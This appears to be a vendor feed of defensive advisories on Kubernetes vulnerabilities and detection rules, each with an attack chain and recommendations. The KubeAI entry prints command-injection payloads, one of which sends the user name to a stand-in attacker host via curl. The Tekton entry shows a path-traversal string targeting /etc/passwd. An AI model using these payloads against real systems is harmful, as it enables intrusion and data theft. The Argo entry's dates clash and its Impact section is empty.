Deploy the provided Sigma rule “Multiple Cloud Secrets Accessed by Source Address” to your SIEM to detect this activity across your cloud environments. Enable required logging: GCP Audit DATA_READ for Secret Manager API, Azure Key Vault Diagnostic Logging, and AWS CloudTrail for Secrets Manager.
Investigate any alerts triggered by the Sigma rule by validating the principal (user, service account) and reviewing related activity (authentication, privilege escalation). Check application context, user agent, and IP reputation as detailed in the rule’s triage steps.
Restrict or disable affected credentials or service accounts and rotate all accessed secrets if the activity is unauthorized or suspicious, as described in the rule’s Response and Remediation steps.
Harden identity security by enforcing MFA, reducing permissions to least privilege, and reviewing trust relationships. Audit visibility should be improved by ensuring logging is enabled across all cloud environments.

Unauthenticated Access to kcp Cache Server

hello@craftedsignal.io — Wed, 08 Apr 2026 15:04:22 +0000

The kcp (Kubernetes Cluster Platform) cache server, responsible for replicating resources, is directly exposed by the root shard without any authentication or authorization checks. This vulnerability allows anyone with network access to the root shard to read replicated resources and potentially write to the cache server, creating a race condition. The lack of authentication in the preHandlerChainMux, specifically identified in pkg/server/config.go at line 514-518, causes the cache server to be proxied before authentication or authorization can take place. This impacts kcp versions prior to v0.29.3 and between v0.30.0 and v0.30.3. This vulnerability allows unauthorized access to sensitive information, including RBAC rules, cluster topology, API surfaces, admission control policies, and tenancy configurations.

Attack Chain

Attacker gains network access to the kcp root shard, typically through exposed ports or external URLs.
Attacker crafts an HTTP request targeting the /services/cache/* endpoint without any authentication headers.
The request bypasses authentication and authorization checks due to the flawed preHandlerChainMux configuration.
The attacker reads replicated resources from the cache, such as clusterroles, clusterrolebindings, logicalclusters, apiexports, and validatingwebhookconfigurations.
(Optional) The attacker attempts to inject a malicious ClusterRole and ClusterRoleBinding via a POST request to the cache server.
The cache etcd watch fires, notifying the authorization informer and replication controller in parallel.
The authorization informer updates its in-memory store, briefly granting the attacker the injected RBAC rules.
The replication controller eventually reconciles and deletes the injected object, but a small window of opportunity exists for privilege escalation.

Impact

Successful exploitation of this vulnerability allows unauthorized access to critical cluster information, potentially exposing RBAC configurations, API endpoints, and internal infrastructure details. An attacker can read replicated resources, including cluster roles, cluster role bindings, logical clusters, shards, API exports, API resource schemas, mutating webhook configurations, validating webhook configurations, validating admission policies, and workspace types. While injected objects are quickly cleaned up, a brief race condition allows for temporary privilege escalation. This affects kcp deployments where the root shard is network-reachable by untrusted clients, including Helm chart deployments, Operator deployments with external URLs set, and deployments with a reachable –shard-external-url.

Recommendation

Implement network-level access control to restrict access to the /services/cache/* paths at the load balancer, reverse proxy, or firewall level as described in the Workarounds section of the advisory.
Deploy the cache server separately with its own kubeconfig (--cache-server-kubeconfig) and restrict network access to it, mitigating direct exposure to the root shard as per the Workarounds section.
Upgrade to kcp version v0.29.3 or v0.30.3 or later to patch the vulnerability as per CVE-2026-39429.

Red Hat Open Cluster Management (OCM) Cross-Cluster Privilege Escalation via Forged Certificates (CVE-2026-4740)

hello@craftedsignal.io — Tue, 07 Apr 2026 15:17:46 +0000

A critical vulnerability, CVE-2026-4740, exists within Red Hat Advanced Cluster Management (ACM), which utilizes Open Cluster Management (OCM) technology. This flaw stems from the improper validation of Kubernetes client certificate renewal requests. A malicious managed cluster administrator can exploit this vulnerability to forge a client certificate. This forged certificate, if approved by the OCM controller, grants the attacker elevated privileges across different clusters. The successful exploitation of this vulnerability can lead to an attacker gaining complete control over other managed clusters and potentially the central hub cluster, posing a significant threat to the entire ACM environment. This vulnerability impacts any environment utilizing Red Hat Advanced Cluster Management.

Attack Chain

A managed cluster administrator gains initial access to a managed Kubernetes cluster within the ACM environment.
The attacker crafts a malicious Kubernetes client certificate renewal request, exploiting the lack of proper validation in OCM.
The forged certificate request is submitted to the OCM controller for approval.
Due to insufficient validation, the OCM controller approves the forged client certificate.
The attacker uses the approved, forged certificate to authenticate to other managed clusters.
Using the forged certificate, the attacker escalates privileges within the targeted managed clusters.
The attacker leverages escalated privileges to move laterally across the cluster.
The attacker gains control of the targeted managed clusters, potentially including the central hub cluster, allowing for data exfiltration, service disruption, or other malicious activities.

Impact

Successful exploitation of CVE-2026-4740 can lead to complete compromise of the Red Hat Advanced Cluster Management environment. A malicious managed cluster administrator can leverage this vulnerability to gain control over other managed clusters, including the hub cluster. This allows for unauthorized access to sensitive data, disruption of critical services, and potential deployment of malicious workloads across the compromised clusters. The vulnerability has a CVSS v3.1 score of 8.2, indicating a high severity. The number of potential victims depends on the scope of ACM deployments.

Recommendation

Apply the patch or upgrade to a version of Red Hat Advanced Cluster Management (ACM) that addresses CVE-2026-4740 to remediate the improper certificate validation.
Implement stricter validation policies for Kubernetes client certificate renewal requests within your OCM environment to prevent the forging of certificates.
Monitor Kubernetes API server logs for suspicious certificate creation or approval activities, using the title: "Detect Suspicious Kubernetes Certificate Creation" Sigma rule provided below.
Implement Role-Based Access Control (RBAC) policies within your Kubernetes clusters to limit the privileges of managed cluster administrators and mitigate the impact of potential privilege escalation.
Monitor the OCM controller logs for certificate-related events as they relate to CVE-2026-4740.

Kubernetes Secret Access via Unusual User Agent

hello@craftedsignal.io — Mon, 06 Apr 2026 12:05:33 +0000

This detection rule identifies instances where Kubernetes secrets are accessed through atypical means, specifically flagging requests originating from unusual user agents, usernames, or source IPs. The underlying assumption is that after compromising a pod or stealing a kubeconfig file, adversaries often attempt to harvest sensitive information stored as secrets within the Kubernetes cluster. This includes service account tokens, registry credentials, cloud keys, and other critical data. This activity can lead to privilege escalation and lateral movement within the cluster or the wider cloud environment. The rule focuses on identifying deviations from established access patterns to Kubernetes secrets to detect potentially malicious activity. The rule leverages data from kubernetes.audit_logs.

Attack Chain

Initial Compromise: An attacker gains initial access to the Kubernetes cluster, potentially by exploiting a vulnerability in a pod or by stealing a kubeconfig file.
Discovery: The attacker enumerates available resources within the cluster to identify potential targets, including secrets. This might involve using kubectl get secrets --all-namespaces.
Credential Theft: The attacker attempts to access Kubernetes secrets using an unusual user agent, source IP, or user name. For example, using curl from a compromised pod to access the Kubernetes API.
Data Exfiltration: The attacker retrieves the contents of the secrets. Secrets might contain service account tokens, registry credentials, cloud IAM keys, database passwords, etc.
Lateral Movement: With stolen credentials, the attacker attempts to move laterally within the cluster or the connected cloud environment. They might use the credentials to access other pods, services, or cloud resources.
Privilege Escalation: The attacker uses the stolen credentials to escalate their privileges within the Kubernetes cluster or the cloud environment. For example, creating new roles or role bindings.
Persistence: The attacker establishes persistence by creating backdoors or modifying existing deployments. This might involve creating new pods or modifying existing deployments.
Impact: The attacker achieves their objective, such as data theft, denial of service, or infrastructure compromise.

Impact

Successful exploitation can lead to the compromise of sensitive data stored within Kubernetes secrets. This could include database credentials, API keys, and service account tokens. The impact can range from unauthorized access to sensitive data, to complete compromise of the Kubernetes cluster and the connected cloud environment. This can affect any organization using Kubernetes to manage their applications, potentially leading to data breaches, service disruptions, and financial losses. The severity depends on the sensitivity of the data stored in the compromised secrets and the level of access the attacker gains.

Recommendation

Deploy the Sigma rule Kubernetes Secret Access via Unusual User Agent to your SIEM and tune for your environment to detect unusual access patterns to Kubernetes secrets.
Investigate and validate any alerts generated by the deployed Sigma rule, focusing on the requesting identity, source IP, and user agent to confirm whether they align with approved access records.
Implement RBAC least privilege to limit access to secrets to only the required service accounts and users to minimize the potential impact of credential theft.
Monitor Kubernetes audit logs (logs-kubernetes.audit_logs-*) for suspicious activity, including unusual API calls and access patterns to sensitive resources.
Regularly rotate secrets and credentials to minimize the window of opportunity for attackers to use stolen credentials.

CVE-2026-33105 - Microsoft Azure Kubernetes Service Privilege Escalation

hello@craftedsignal.io — Fri, 03 Apr 2026 00:16:05 +0000

CVE-2026-33105, discovered in April 2026, is a critical vulnerability affecting Microsoft Azure Kubernetes Service (AKS). This vulnerability stems from an improper authorization mechanism, allowing an unauthorized attacker to elevate privileges within the network. With a CVSS v3.1 score of 10.0, this flaw represents a severe risk. Successful exploitation could grant attackers complete control over the AKS cluster, potentially impacting all workloads and data managed by the service. Given the widespread adoption of AKS for container orchestration, this vulnerability poses a significant threat to organizations relying on Azure’s Kubernetes infrastructure. Defenders should prioritize patching and implement detection measures to mitigate potential exploitation.

Attack Chain

An unauthenticated attacker gains initial access to the network where the AKS cluster is deployed.
The attacker exploits the improper authorization vulnerability (CVE-2026-33105) within the AKS control plane.
Using the vulnerability, the attacker bypasses intended access controls.
The attacker escalates privileges, gaining administrative rights within the AKS cluster.
The attacker leverages the elevated privileges to access sensitive resources, such as Kubernetes secrets and configuration files.
The attacker deploys malicious containers or modifies existing deployments to further compromise the environment.
The attacker gains control over the worker nodes in the AKS cluster.
The attacker uses compromised worker nodes to move laterally within the network, potentially targeting other Azure services or on-premises resources.

Impact

Successful exploitation of CVE-2026-33105 allows an attacker to gain full control over an Azure Kubernetes Service cluster. This includes the ability to deploy, modify, and delete workloads, access sensitive data, and potentially pivot to other Azure resources or on-premises networks. Given the critical nature of many applications hosted on Kubernetes, this could lead to significant data breaches, service disruptions, and financial losses. The lack of specific victim numbers makes it impossible to assess the scale of damage, however any unpatched AKS cluster is potentially at risk.

Recommendation

Apply the patch released by Microsoft to address CVE-2026-33105 on all AKS clusters immediately (https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-33105).
Implement network segmentation to limit the blast radius of a potential compromise.
Monitor AKS audit logs for suspicious activity indicative of privilege escalation attempts.
Deploy the following Sigma rule to detect suspicious processes connecting to the Kubernetes API server, and tune it for your environment.

KubeAI OS Command Injection via Model URL in Ollama Engine Startup Probe

hello@craftedsignal.io — Wed, 01 Apr 2026 23:22:43 +0000

KubeAI versions 0.23.1 and earlier are vulnerable to an OS command injection flaw in the Ollama engine’s startup probe. The vulnerability stems from the ollamaStartupProbeScript() function, which constructs a shell command using fmt.Sprintf with unsanitized model URL components (ref and modelParam). These components are extracted from the Model custom resource URL. An attacker who can create or update Model custom resources can inject arbitrary shell commands, which are then executed within the model server pods. This occurs because the extracted URL components are not sanitized before being interpolated into a shell command executed by bash -c. Successful exploitation allows attackers to compromise the model serving infrastructure and potentially access sensitive information or execute commands on the underlying host.

Attack Chain

An attacker gains the ability to create or update Model custom resources in a KubeAI environment. This could be through compromised credentials, misconfigured RBAC permissions, or other vulnerabilities.
The attacker crafts a malicious Model custom resource with a specially crafted URL in the spec.url field. The URL contains shell metacharacters and commands within the ref component or the model query parameter. For example, ollama://registry.example.com/model;id>/tmp/pwned;echo or pvc://my-pvc?model=qwen2:0.5b;curl${IFS}http://attacker.com/$(whoami);echo.
The attacker applies the malicious Model resource to the Kubernetes cluster, triggering the KubeAI model controller.
The parseModelURL() function parses the malicious URL and extracts the unsanitized ref and modelParam components.
The ollamaStartupProbeScript() function constructs a shell command string using fmt.Sprintf with the unsanitized ref and modelParam components. The resulting command is intended to pull or copy the specified model.
The KubeAI model controller creates a pod for the model server, configuring a startup probe that executes the crafted shell command via bash -c.
The Kubernetes kubelet executes the startup probe, running the attacker-injected shell commands within the pod’s context.
The attacker achieves arbitrary command execution inside the model server pod, potentially leading to data exfiltration, lateral movement, or compromise of the model serving infrastructure.

Impact

Successful exploitation of this vulnerability allows for arbitrary command execution within KubeAI model server pods. This can lead to several severe consequences: data exfiltration from the pod’s environment (environment variables, mounted secrets, service account tokens), lateral movement to other cluster resources in multi-tenant environments, and compromise of the model serving infrastructure. An attacker with Model creation permissions can execute arbitrary commands in model pods, potentially accessing sensitive data. The vulnerability affects KubeAI installations version 0.23.1 and earlier.

Recommendation

Upgrade KubeAI to a version beyond 0.23.1 that includes the fix for CVE-2026-34940.
Implement strict RBAC policies to limit who can create or update Model custom resources.
Deploy the Sigma rule “Detect KubeAI Model Resource Command Injection” to identify malicious Model resources being created or updated.
Monitor Kubernetes audit logs for suspicious activity related to Model custom resource creation and updates.
If upgrading is not immediately feasible, consider implementing a Kubernetes admission webhook that validates and sanitizes the spec.url field of Model custom resources, allowing only alphanumeric characters, slashes, colons, dots, and hyphens.

Kubectl Network Configuration Modification

hello@craftedsignal.io — Wed, 01 Apr 2026 14:16:09 +0000

This detection rule identifies potential malicious activity involving the kubectl command-line tool, specifically focusing on modifications to network configurations within Kubernetes environments. The rule monitors for kubectl commands executed with arguments like “port-forward”, “proxy”, or “expose,” which can be used to manipulate network settings. The activity is considered suspicious when initiated from atypical parent processes or directories, such as temporary folders or user home directories. This behavior might indicate an adversary attempting to establish unauthorized access channels or exfiltrate sensitive data. The rule is designed to work with endpoint detection and response (EDR) solutions like Elastic Defend, Crowdstrike, SentinelOne, and cloud workload protection platforms. The rule was last updated on March 30, 2026, and is intended for use in production environments.

Attack Chain

An attacker gains initial access to a system with kubectl installed and configured to interact with a Kubernetes cluster.
The attacker executes the kubectl command with arguments like port-forward to create a local port that forwards traffic to a service or pod within the cluster.
The attacker uses kubectl proxy to create a proxy server that allows them to access the Kubernetes API server from their local machine.
The attacker employs kubectl expose to create a new service that exposes a deployment, replication controller, or pod as a new Kubernetes service, potentially opening up unintended access points.
The attacker may execute these commands from a shell like bash, or from a script located in a temporary directory like /tmp/ or /var/tmp/, to evade detection.
The attacker leverages the modified network configurations to establish unauthorized access to sensitive services or data within the Kubernetes cluster.
The attacker may use the proxied or forwarded connections to exfiltrate data from the cluster to an external location.

Impact

Successful exploitation via kubectl network configuration modification can lead to unauthorized access to sensitive data and services within a Kubernetes cluster. This can result in data breaches, service disruptions, and lateral movement within the cluster. The low severity score suggests that while the risk exists, the impact might be limited if proper Kubernetes security best practices are followed. The rule aims to detect these actions early, preventing potential damage to the cluster.

Recommendation

Enable Elastic Defend integration or equivalent EDR solutions to monitor process execution and network connections (Data Source: Elastic Defend, Data Source: Crowdstrike, Data Source: SentinelOne).
Deploy the provided Sigma rule to detect suspicious kubectl commands with network-related arguments (rules section). Tune the rule based on your environment to minimize false positives.
Investigate any alerts generated by the Sigma rule, focusing on the parent process and the command-line arguments of the kubectl command (rules section, Resources: Investigation Guide).
Implement enhanced monitoring and logging for kubectl activities and network configuration changes within the Kubernetes cluster to proactively detect and respond to similar threats in the future (Resources: Investigation Guide).

Red Hat OpenShift AI Llama Stack Unauthorized Access Vulnerability (CVE-2025-12805)

hello@craftedsignal.io — Fri, 27 Mar 2026 10:00:00 +0000

A vulnerability, CVE-2025-12805, has been identified in Red Hat OpenShift AI (RHOAI) llama-stack-operator. The vulnerability stems from the lack of NetworkPolicy restrictions on the llama-stack service endpoint. This allows a user within one namespace to bypass intended isolation and directly access Llama Stack services deployed in other namespaces. The vulnerability was published on March 26, 2026. Successful exploitation could lead to unauthorized data access and manipulation, impacting the…

RedHat Multicluster Engine for Kubernetes Privilege Escalation Vulnerability

hello@craftedsignal.io — Wed, 25 Mar 2026 10:22:04 +0000

A vulnerability exists within the RedHat Multicluster Engine for Kubernetes that allows a local attacker to escalate their privileges. The specific details of the vulnerability are not disclosed in this advisory, but successful exploitation would grant the attacker elevated permissions within the Kubernetes environment. This issue affects deployments of RedHat Multicluster Engine, potentially impacting the security and integrity of containerized applications and the underlying infrastructure. Defenders should investigate and apply the appropriate patches or mitigations as soon as they become available.

Attack Chain

The attacker gains initial local access to a system running RedHat Multicluster Engine for Kubernetes, possibly through compromised credentials or an existing vulnerability.
The attacker identifies the specific vulnerable component within the RedHat Multicluster Engine.
The attacker crafts a malicious payload designed to exploit the vulnerability.
The attacker executes the payload locally on the compromised system, targeting the vulnerable component.
Successful exploitation grants the attacker elevated privileges within the Kubernetes environment.
The attacker leverages the escalated privileges to access sensitive resources or perform unauthorized actions within the Kubernetes cluster.
The attacker may attempt to further compromise other nodes or services within the cluster.

Impact

Successful exploitation of this vulnerability allows a local attacker to escalate their privileges within a RedHat Multicluster Engine for Kubernetes environment. This can lead to unauthorized access to sensitive data, compromise of containerized applications, and potential disruption of services. The impact could range from data breaches to complete cluster takeover, depending on the scope of the attacker’s activities after privilege escalation.

Recommendation

Monitor process creation events for suspicious activity within the Kubernetes environment that may indicate exploitation attempts (see generic process creation rules).
Investigate any unexpected privilege escalations or changes in user permissions within the RedHat Multicluster Engine environment.
As details emerge, deploy specific detection rules to identify exploitation of the RedHat Multicluster Engine vulnerability within your environment.

Tekton Pipelines Git Resolver Path Traversal Vulnerability

hello@craftedsignal.io — Tue, 24 Mar 2026 00:16:29 +0000

The Tekton Pipelines project provides Kubernetes-style resources for declaring CI/CD pipelines. A path traversal vulnerability exists in the git resolver component, tracked as CVE-2026-33211. This vulnerability affects Tekton Pipelines versions 1.0.0 and prior to 1.0.1, 1.3.3, 1.6.1, 1.9.2, and 1.10.2. An attacker with the ability to create ResolutionRequests (e.g., through TaskRuns or PipelineRuns that utilize the git resolver) can exploit this flaw to read any file from the resolver pod’s file system. A successful exploit allows attackers to retrieve sensitive information, such as ServiceAccount tokens, which are base64-encoded and returned in resolutionrequest.status.data. The vulnerability has been patched in versions 1.0.1, 1.3.3, 1.6.1, 1.9.2, and 1.10.2. This poses a significant risk in multi-tenant environments where lateral movement and privilege escalation are possible.

Attack Chain

An attacker gains the ability to create TaskRuns or PipelineRuns within a Tekton Pipelines environment.
The attacker crafts a malicious ResolutionRequest that leverages the git resolver.
Within the ResolutionRequest, the attacker injects a path traversal sequence into the pathInRepo parameter, such as “../../../../etc/passwd”.
The git resolver attempts to resolve the resource using the provided path.
Due to the path traversal vulnerability, the resolver accesses the file specified by the attacker on the resolver pod’s file system.
The contents of the accessed file are read by the resolver.
The resolver encodes the file content in base64.
The base64-encoded content is returned in the resolutionrequest.status.data field, allowing the attacker to retrieve the content. This can include sensitive files such as ServiceAccount tokens.

Impact

Successful exploitation of CVE-2026-33211 allows attackers to read arbitrary files from the Tekton Pipelines resolver pod. This can lead to the compromise of sensitive information, including ServiceAccount tokens. If ServiceAccount tokens are compromised, attackers can potentially gain unauthorized access to Kubernetes resources, leading to privilege escalation, lateral movement within the cluster, and potential data exfiltration. The impact is especially high in multi-tenant environments.

Recommendation

Upgrade Tekton Pipelines to versions 1.0.1, 1.3.3, 1.6.1, 1.9.2, or 1.10.2 or later to patch CVE-2026-33211.
Implement strict RBAC policies to limit the ability to create TaskRuns and PipelineRuns to only authorized users and service accounts.
Monitor Kubernetes API audit logs for suspicious ResolutionRequest creation events (see rule: “Detect Suspicious ResolutionRequest Creation”).
Implement network policies to restrict network access from the resolver pod to only necessary resources.

TeamPCP's CanisterWorm Kubernetes Wiper Targeting Iran

hello@craftedsignal.io — Mon, 23 Mar 2026 12:00:00 +0000

TeamPCP has deployed a Kubernetes wiper named CanisterWorm, specifically targeting Iranian infrastructure. This destructive malware is designed to obliterate data within Kubernetes environments. The wiper’s emergence in March 2026 signals a heightened level of cyber aggression, particularly given the geopolitical context. Defenders need to be aware of the potential for significant operational disruption and data loss. The targeting of Kubernetes environments reflects a sophisticated understanding of modern infrastructure and the increasing reliance on containerization technologies. This campaign requires immediate attention and proactive security measures to mitigate the risk of successful attacks.

Attack Chain

Initial compromise of a node within the Kubernetes cluster, possibly via exploiting a known vulnerability or through compromised credentials.
CanisterWorm gains elevated privileges within the compromised node, potentially using techniques such as privilege escalation exploits.
Discovery of other nodes and resources within the Kubernetes cluster through reconnaissance activities, leveraging the Kubernetes API.
Lateral movement to other nodes using stolen credentials or by exploiting trust relationships between nodes.
Execution of CanisterWorm on each targeted node, initiating the data wiping process.
Overwriting critical system files and data volumes within the containers and pods.
Corruption of Kubernetes configuration files, leading to instability and potential cluster failure.
Final stage involves the complete destruction of data within the Kubernetes environment, rendering the affected systems unusable.

Impact

The successful deployment of CanisterWorm results in widespread data loss and service disruption within the targeted Kubernetes environments. This can lead to significant financial losses, reputational damage, and operational downtime. Given the targeting of Iranian infrastructure, this attack has the potential to impact critical services and government operations. The complete destruction of data necessitates extensive recovery efforts and may result in permanent data loss if backups are not available or are also compromised.

Recommendation

Monitor Kubernetes API server logs for suspicious activity, particularly attempts to list or access sensitive resources to detect reconnaissance (reference: Attack Chain step 3).
Implement network segmentation and strict access controls within the Kubernetes cluster to limit lateral movement (reference: Attack Chain step 4).
Deploy the Sigma rule Detect Suspicious Kubernetes Pod Deletion to identify potential wipe attempts.
Review and harden Kubernetes security configurations, including RBAC (Role-Based Access Control) policies, to prevent unauthorized access (reference: Attack Chain step 2).

Kubernetes Sensitive Role Creation or Modification

hello@craftedsignal.io — Thu, 05 Mar 2026 13:13:30 +0000

This detection rule, sourced from Elastic’s detection-rules repository, focuses on identifying malicious activity within Kubernetes environments. Specifically, it targets the creation, update, or patching of Roles and ClusterRoles that introduce high-risk RBAC permissions. These permissions include wildcard access (e.g., *) and escalation verbs such as bind, escalate, or impersonate. The rule leverages audit logs to monitor these actions and flags those that could lead to privilege escalation or unauthorized access. The rule aims to detect attackers attempting to add a new ClusterRole with * verbs/resources and then using it to bind themselves or a service account to cluster-admin–equivalent access. This is important because attackers can silently expand privileges and enable persistence or lateral movement across the cluster.

Attack Chain

An attacker gains initial access to a Kubernetes cluster, possibly through compromised credentials or a vulnerable application.
The attacker attempts to create a new ClusterRole or Role with broad permissions, including wildcard verbs and resources.
The attacker may use kubectl or a similar tool to apply a YAML manifest defining the malicious role.
The Kubernetes API server receives the request to create the role, and the audit logging system captures the event.
The attacker then attempts to bind the newly created role to a service account or user, granting them the elevated permissions. This is achieved by creating or modifying a RoleBinding or ClusterRoleBinding object.
The Kubernetes API server logs the creation or modification of the RoleBinding or ClusterRoleBinding.
With the elevated permissions, the attacker can now perform actions they were previously unauthorized to do, such as accessing sensitive data, deploying malicious containers, or modifying cluster configurations.
The attacker leverages these elevated privileges to establish persistence within the cluster and potentially move laterally to other resources or environments.

Impact

A successful attack can lead to full cluster compromise, allowing the attacker to control all resources and data within the Kubernetes environment. This can result in data breaches, service disruptions, and significant financial losses. The severity depends on the scope of the compromised role and the resources it grants access to. Even seemingly minor modifications can have a cascading effect, enabling attackers to gain complete control over critical systems.

Recommendation

Deploy the Sigma rule “Kubernetes Creation or Modification of Sensitive Role” to your SIEM and tune it for your environment to detect suspicious RBAC changes (rule.name).
Monitor Kubernetes audit logs for the creation or modification of Roles and ClusterRoles with wildcard permissions or escalation verbs (kubernetes.audit.requestObject.rules.verbs, kubernetes.audit.requestObject.rules.resources).
Implement RBAC guardrails, such as OPA Gatekeeper or Kyverno policies, to prevent the creation of overly permissive roles (references).
Restrict who can create or update RBAC objects and require all RBAC changes to go through code review and signed GitOps automation (references).
Regularly review existing Roles and ClusterRoles to identify and remove any unnecessary or overly broad permissions.
Enable Sysmon process creation logging on nodes to enhance detection capabilities around kubectl usage.

Kubernetes Endpoint Permission Enumeration

hello@craftedsignal.io — Thu, 05 Mar 2026 13:13:30 +0000

This detection identifies potential endpoint enumeration attempts within a Kubernetes environment. An attacker, or a compromised account, may attempt to map accessible resources within the Kubernetes cluster by issuing a burst of API calls across multiple endpoints from a single user and source IP address. This is achieved through a combination of both successful and failed API requests. The behavior is not typical of normal Kubernetes cluster operation. Attackers leverage this reconnaissance to identify high-value targets like secrets, pods, or nodes before attempting privilege escalation or lateral movement. The rule specifically looks for unusual patterns in Kubernetes audit logs.

Attack Chain

The attacker gains initial access to the Kubernetes cluster, potentially through compromised credentials or a vulnerable application.
The attacker uses kubectl or a similar tool to send a series of API requests.
The attacker attempts to enumerate Kubernetes API endpoints using “get”, “list”, “watch”, “create”, “update”, and “patch” verbs.
The requests target a variety of resources, including pods, services, deployments, secrets, and nodes.
The attacker analyzes the responses to identify endpoints and resources that are accessible with the current credentials. Successful and failed responses are both valuable for mapping permissions.
The attacker identifies valuable targets, such as secrets or sensitive data stored in configmaps.
The attacker attempts to escalate privileges by exploiting identified vulnerabilities or misconfigurations.
The attacker moves laterally within the cluster to gain access to other resources or workloads.

Impact

Successful enumeration can lead to privilege escalation, lateral movement, and data exfiltration within the Kubernetes cluster. Attackers can identify and compromise sensitive resources such as secrets, configmaps, and pods. The number of affected systems and the scope of the impact depend on the extent of the attacker’s access and the sensitivity of the compromised resources.

Recommendation

Enable Kubernetes audit logging to capture API server requests and responses, which is required for the provided rules and the original Elastic rule.
Deploy the Sigma rules provided below to your SIEM to detect enumeration attempts and tune them based on your environment.
Enforce the principle of least privilege by assigning appropriate RBAC roles to users and service accounts to limit potential enumeration damage.
Monitor Kubernetes audit logs for unusual API request patterns, specifically a high number of requests from a single user and IP address.
Review RBAC bindings for unexpected or overly broad access as mentioned in the overview.
Segment API access with network controls (private endpoint/VPN allowlists) as suggested in the response section of the overview.

Suspicious Pod Creation in Kubernetes System Namespace

hello@craftedsignal.io — Thu, 07 Nov 2024 14:23:50 +0000

Attackers can exploit the trust associated with the kube-system namespace in Kubernetes to deploy malicious pods. By naming these pods similarly to legitimate system pods (e.g., kube-proxy-bv61v), they attempt to blend in and avoid detection. This technique leverages the fact that system pods created by controllers like Deployments or DaemonSets have random suffixes in their names, making it difficult to distinguish malicious pods from legitimate ones based on naming conventions alone. The deployment of a backdoor container in the kube-system namespace alongside other administrative containers poses a significant risk.

Attack Chain

Compromise a Kubernetes cluster with sufficient privileges to deploy pods.
Identify existing pods in the kube-system namespace, noting naming conventions and suffixes.
Craft a pod manifest for a malicious container, naming it to resemble a legitimate system pod (e.g., kube-proxy-xxxx).
Deploy the malicious pod to the kube-system namespace using kubectl apply -f .
The malicious pod executes its intended function, such as establishing a reverse shell or providing unauthorized access.
The attacker maintains persistence by ensuring the malicious pod is recreated if deleted, possibly via a custom controller.
The attacker performs lateral movement to other resources within the cluster from the compromised pod.
The attacker achieves their objective, such as data exfiltration or denial of service, using the compromised pod as a base of operations.

Impact

Successful deployment of malicious pods in the kube-system namespace can lead to a range of impacts, including unauthorized access to sensitive resources, data exfiltration, and denial of service. This can compromise the entire Kubernetes cluster and any applications it hosts. The number of affected systems depends on the scope of the compromised cluster, but it could potentially impact all applications and data within the environment.

Recommendation

Deploy the Sigma rule Creation Of Pod In System Namespace to your SIEM to detect suspicious pod creations in the kube-system namespace.
Investigate any alerts generated by the Creation Of Pod In System Namespace Sigma rule to determine if the pod creation is legitimate or malicious.
Implement strong RBAC policies to limit the ability of users and service accounts to create pods in the kube-system namespace.
Regularly audit pod deployments in the kube-system namespace to identify any unauthorized or suspicious activity.

Kubernetes Admission Controller Modification

hello@craftedsignal.io — Fri, 01 Nov 2024 12:00:00 +0000

The Kubernetes admission controller is a crucial component that governs API requests to a Kubernetes cluster. Attackers can modify mutating or validating webhook configurations to intercept and manipulate these requests. By creating, updating, or replacing these configurations, adversaries can inject malicious code, alter resource definitions, or even exfiltrate sensitive information like access credentials. This activity can lead to privilege escalation, persistence within the cluster, and ultimately, a compromise of the entire Kubernetes environment. The attacks are typically stealthy as they operate within the legitimate Kubernetes API framework, making detection challenging. This behavior is particularly concerning for organizations relying on Kubernetes for critical applications and sensitive data.

Attack Chain

Initial Access: The attacker gains initial access to the Kubernetes cluster, potentially through compromised credentials or a vulnerability in a deployed application.
Discovery: The attacker enumerates existing admission controller configurations (mutatingwebhookconfigurations and validatingwebhookconfigurations) to identify potential targets.
Configuration Modification: The attacker uses kubectl or the Kubernetes API to create, update, or replace a webhook configuration. This involves crafting a malicious webhook that will intercept API requests.
Webhook Deployment: The malicious webhook is deployed as a service within the Kubernetes cluster.
API Interception: When a user or application makes an API request that matches the webhook’s defined rules, the webhook intercepts the request.
Malicious Code Injection: The webhook injects malicious code or alters the API request to achieve the attacker’s objectives (e.g., granting unauthorized permissions, modifying resource configurations).
Persistence/Privilege Escalation/Credential Access: Depending on the injected code, the attacker achieves persistence by ensuring malicious code is always present, escalates privileges by modifying role bindings, or accesses credentials by intercepting secret creation requests.
Lateral Movement/Data Exfiltration: The attacker leverages their gained access to move laterally within the cluster or exfiltrate sensitive data.

Impact

Successful modification of Kubernetes admission controllers can have severe consequences. This can result in unauthorized access to sensitive data, complete cluster compromise, and denial of service. The impact ranges from data breaches and service disruptions to long-term persistence within the environment, allowing attackers to maintain control over the cluster. The stealthy nature of this attack makes it difficult to detect, potentially allowing attackers to operate undetected for extended periods.

Recommendation

Deploy the Sigma rule “Kubernetes Admission Controller Modification” to your SIEM and tune it for your environment to detect suspicious modifications to webhook configurations (logsource: kubernetes, service: audit).
Monitor Kubernetes audit logs for create, delete, patch, replace, and update verbs on mutatingwebhookconfigurations and validatingwebhookconfigurations resources (logsource: kubernetes, service: audit).
Implement strong RBAC policies to limit access to Kubernetes API resources and prevent unauthorized modification of admission controller configurations.
Regularly review and audit existing admission controller configurations to identify any unexpected or malicious webhooks.

Argo Workflows ConfigMap Sync Service Missing Authorization Vulnerability

hello@craftedsignal.io — Fri, 03 May 2024 16:23:00 +0000

Argo Workflows, a Kubernetes-native workflow engine, is vulnerable to an authorization bypass in its Sync Service’s ConfigMap-backed provider. This vulnerability, present in versions 4.0.0 through 4.0.4, stems from a lack of authorization checks on CRUD operations performed on ConfigMaps. This means that any authenticated user, even with a fake Bearer token, can create, read, update, and delete Kubernetes ConfigMaps used for synchronization limits. This flaw allows attackers to potentially disrupt workflow execution, access sensitive configuration data, or even manipulate ConfigMaps in namespaces accessible to the server’s service account. The vulnerability was reported on May 4, 2026, and poses a significant risk to Argo Workflows deployments.

Attack Chain

Attacker gains network access to the Argo Server.
Attacker authenticates to the Argo Server using any valid or even a “fake” Bearer token (e.g., fake-token).
Attacker crafts a POST request to the /api/v1/sync/default endpoint to create a new Sync Limit ConfigMap with specified parameters like namespace, ConfigMap name, key, and limit.
The Argo Server’s configMapSyncProvider.createSyncLimit function executes without performing any authorization checks.
The function uses the Kubernetes client to create a ConfigMap in the specified namespace based on the attacker’s input.
Attacker can subsequently send GET, PUT, or DELETE requests to /api/v1/sync/default/{key} to read, update, or delete existing Sync Limit ConfigMaps without authorization.
The Argo Server processes these requests, modifying the ConfigMaps accordingly, due to the missing auth.CanI checks.
The attacker disrupts workflow execution, gains access to sensitive configuration data, or manipulates ConfigMaps, leading to denial of service or other malicious outcomes.

Impact

